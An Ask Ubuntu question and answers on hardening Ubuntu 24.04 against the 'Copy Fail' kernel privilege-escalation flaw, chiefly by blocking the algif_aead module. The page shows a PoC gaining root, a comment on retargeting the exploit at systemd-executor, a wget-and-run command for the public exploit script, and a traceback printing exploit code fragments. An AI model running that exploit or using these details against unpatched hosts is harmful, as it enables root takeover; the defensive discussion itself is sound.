17

We are running a bunch of containers for a cyber security teaching environment, where students can execute arbitrary commands (unprivileged).

Our system (Ubuntu 24.04.4 LTS) is affected by the recently-published "Copy Fail" vulnerability (CVE-2026-31431).

Unfortunately, updating did not produce any new kernel packages, and we are still stuck with 6.8.0-110:

# uname -a
Linux teaching-host 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux

PoC exploit (makes su not ask for passwords until reboot):

$ cat exploit.py | python3 && su
# id
uid=0(root) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd),988(docker)

How can we harden our system until an official patch package becomes available?

New contributor
janw is a new contributor to this site. Take care in asking for clarification, commenting, and answering. Check out our Code of Conduct.
11
  • 3
    We tested the PoC, and it worked on our system (which is fully patched). I've edited the question. Commented yesterday
  • 2
    Please post the algif_aead disablement as an answer Commented yesterday
  • 2
    @Rinzwind Yes, linux-hwe-6.8 package is in 22.04 release. The 24.04 has 6.8 as base kernel, not as HWE. Commented yesterday
  • 1
    The specific PoC exploit appears to make /bin/su immediately run a shell. It uses setuid to work, so disabling that in fstab or setting NoNewPrivileges will stop the PoC. The PoC didn't escape my Docker container. However, their GitHub said the underlying vulnerability is page cache corruption and running the PoC poisons /bin/su until up to reboot, so the exploit can be modified to target /usr/lib/systemd/systemd-executor, and wait for a systemd.timer to trigger, and this won't be patched by nosuid Commented yesterday
  • 1
    @Paul I edited the question to mention the harm Commented 10 hours ago

2 Answers 2

14

As a temporary mitigation, the Copy Fail website suggests disabling the algif_aead module:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

We tested that and it prevented the PoC exploit. This mitigation may come with some caveats in very specific configurations (see link), but in our case everything appears to work normally.

New contributor
janw is a new contributor to this site. Take care in asking for clarification, commenting, and answering. Check out our Code of Conduct.
5
  • 2
    Welcome to Ask Ubuntu! Commented yesterday
  • 1
    If running as a normal user, you get Permission denied on the /etc/modprobe.d/disable-algif.conf creation. Try running the first line with sudo tee, as in echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf, before removing the algif_aead module with rmmod algif_aead 2>/dev/null || true. Commented 22 hours ago
  • ...and I guess I would reactivate after a kernel fix and according update? How would that look like? Cheers. Commented 18 hours ago
  • 1
    @mikuszefski This can be undone by deleting the added file. But leaving it disabled is harmless unless you have a very performance-critical application Commented 18 hours ago
  • @DanielT perfect. A complete post then ;) Cheers. Commented 18 hours ago
2

While the website may be down, the security email list continues to work apparently and they have emailed about a mitigation there in an email from 30.04.2026 18:06 CET.

The issue should be mitigated for now thanks to USN-8226-1 and USN-8226-2. It more or less applies the same mitigations suggested by the researchers, but right in kmod and through an update, the upside being that the kernel module will probably be reactivated when the issue has been fully patched, without any manual intervention besides needing to apply updates.

The description of this USN reads:

kmod has been updated to block loading of the algif_aead kernel module.

It suggest the following updates:

Ubuntu 25.10 kmod 34.2-2ubuntu1.1

Ubuntu 24.04 LTS kmod
31+20240202-2ubuntu7.2

Ubuntu 22.04 LTS kmod 29-1ubuntu1.1

Ubuntu 20.04 LTS kmod 27-1ubuntu2.1+esm1 Available with Ubuntu Pro

Ubuntu 18.04 LTS kmod 24-1ubuntu3.5+esm1 Available with Ubuntu Pro

Ubuntu 16.04 LTS kmod 22-1ubuntu5.2+esm1 Available with Ubuntu Pro

Ubuntu 14.04 LTS kmod 15-0ubuntu7+esm1 Available with Ubuntu Pro

This mitigation can be applied using:

sudo apt update && sudo apt install --only-upgrade kmod
sudo rmmod algif_aead

The mitigation works effectively and without a reboot (given that the module wasn't loaded at all or rmmod was used like suggested above), though a reboot is probably recommended:

wget https://github.com/theori-io/copy-fail-CVE-2026-31431/raw/main/copy_fail_exp.py -O /tmp/copy_fail_exp.py
python3 /tmp/copy_fail_exp.py

Result:

Traceback (most recent call last):                                             
  File "/tmp/copy_fail_exp.py", line 9, in <module>                            
    while i<len(e):c(f,i,e[i:i+4]);i+=4                                        
                   ^^^^^^^^^^^^^^^                                             
  File "/tmp/copy_fail_exp.py", line 5, in c                                   
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=2
79;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accep
t();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\
x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno()
,o)                                                                            
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^    
FileNotFoundError: [Errno 2] No such file or directory

It looks like binding to an aead socket was successfully prevented.

They link the following blog and notices (may be not reachable now, but for future reference):

Kernel patches will probably become available in the near future as well, but due to the current state of the websites it is rather hard to get up-to-date information and I've yet to receive an email about it.

New contributor
Cromefire_ is a new contributor to this site. Take care in asking for clarification, commenting, and answering. Check out our Code of Conduct.

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.